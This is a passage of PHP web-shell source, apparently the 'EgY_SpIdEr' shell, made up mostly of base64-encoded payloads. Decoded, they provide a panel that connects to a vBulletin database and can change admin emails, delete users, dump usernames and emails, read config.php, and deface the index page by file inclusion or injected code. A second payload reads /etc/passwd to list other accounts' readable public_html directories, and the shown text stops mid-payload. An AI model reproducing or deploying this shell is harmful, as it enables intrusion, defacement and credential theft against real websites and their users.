c3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwvQT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg=";
2164                 $egy_cp = "PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIl